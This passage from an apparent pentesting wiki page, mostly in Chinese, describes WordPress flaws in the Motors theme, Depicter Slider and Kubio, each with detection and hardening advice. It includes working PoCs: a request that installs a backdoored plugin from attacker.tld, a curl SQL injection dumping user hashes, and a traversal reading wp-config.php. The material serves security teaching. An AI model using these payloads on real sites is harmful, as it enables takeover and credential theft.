  • Require current_user_can(‘install_plugins’) and current_user_can(‘activate_plugins’) before reaching installer code
  • Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows

Subscriber+ AJAX plugin installer → 强制恶意激活 (Motors Theme ≤ 5.6.81)

Patchstack’s analysis 展示了 Motors theme 如何随附一个经过认证的 AJAX helper 用于安装其 companion plugin:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • 仅调用了 check_ajax_referer();没有调用 current_user_can('install_plugins')current_user_can('activate_plugins')
  • 该 nonce 嵌入在 Motors 管理页面中,因此任何能访问 /wp-admin/ 的 Subscriber 都可以从 HTML/JS 中复制它。
  • 处理器信任攻击者控制的 plugin 参数(从 $_GET 读取)并将其传递给 Plugin_Upgrader::install(),因此任意远程 ZIP 会被下载到 wp-content/plugins/
  • 安装后,主题无条件地调用 mvl_theme_activate_plugin(),确保攻击者插件的 PHP 代码被执行。

利用流程

  1. 注册/攻破一个低权限账户(Subscriber 足够)并从 Motors 仪表板 UI 获取 mvl_theme_install_base nonce。
  2. 构建一个插件 ZIP,顶层目录匹配预期的 slug motors-car-dealership-classified-listings/,并在 *.php 入口文件中嵌入后门或 webshell。
  3. 托管该 ZIP 并通过将 handler 指向你的 URL 来触发安装程序:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

因为处理程序读取 $_GET['plugin'],相同的 payload 也可以通过查询字符串发送。

检测清单

  • 在主题/插件 中搜索 Plugin_UpgraderTheme_Upgrader 或自定义的 install_plugin.php helpers,这些 helpers 通过 wp_ajax_* 钩子连接但没有 capability 检查。
  • 检查任何接受 pluginpackagesourceurl 参数并将其传入 upgrader APIs 的处理程序,尤其当 slug 是硬编码但 ZIP 内容未被验证时。
  • 审查为安装器操作暴露 nonce 的管理页面—如果 Subscribers 能加载该页面,则假定 nonce leaks。

加固

  • 在 nonce 验证之后,用 current_user_can('install_plugins')current_user_can('activate_plugins') 限制安装器的 AJAX 回调;Motors 5.6.82 引入了此检查以修补该 bug。
  • 拒绝不受信任的 URLs:将安装器限制为捆绑的 ZIP 或受信任的 repositories,或强制使用签名下载 manifests。
  • 将 nonces 严格视为 CSRF tokens;它们不提供授权,绝不应替代 capability 检查。

未认证的 SQLi:depicter-* 操作中的 s(search)参数 (Depicter Slider ≤ 3.6.1)

多个 depicter-* 操作使用了 s(search)参数,并在没有参数化的情况下将其串联到 SQL 查询中。

  • 参数:s(search)
  • 缺陷:在 WHERE/LIKE 子句中直接进行字符串拼接;没有使用 prepared statements/进行 sanitization
  • 影响:database exfiltration(users、hashes)、lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep for depicter-* action handlers and direct use of $_GET[‘s’] or $_POST[‘s’] in SQL
  • Review custom queries passed to $wpdb->get_results()/query() concatenating s

Hardening

  • Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
  • Add a strict allowlist for s and normalize to expected charset/length

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

在 template 参数中接受攻击者可控的路径且未做规范化/限制,会允许读取任意本地文件;在将可包含的 PHP/日志 文件纳入运行时的情况下,有时还会导致代码执行。

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: no normalization/allowlisting; traversal permitted
  • Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)

PoC – 读取 wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

检测清单

  • 任何将请求路径拼接到 include()/require()/read 敏感调用点且未使用 realpath() 进行约束的处理程序
  • 查找穿越模式 (../) 导致访问预期模板目录以外的位置

加固

  • 强制使用白名单模板;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base))
  • 规范化输入;拒绝穿越序列和绝对路径;仅对文件名使用 sanitize_file_name()(不要用于完整路径)

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks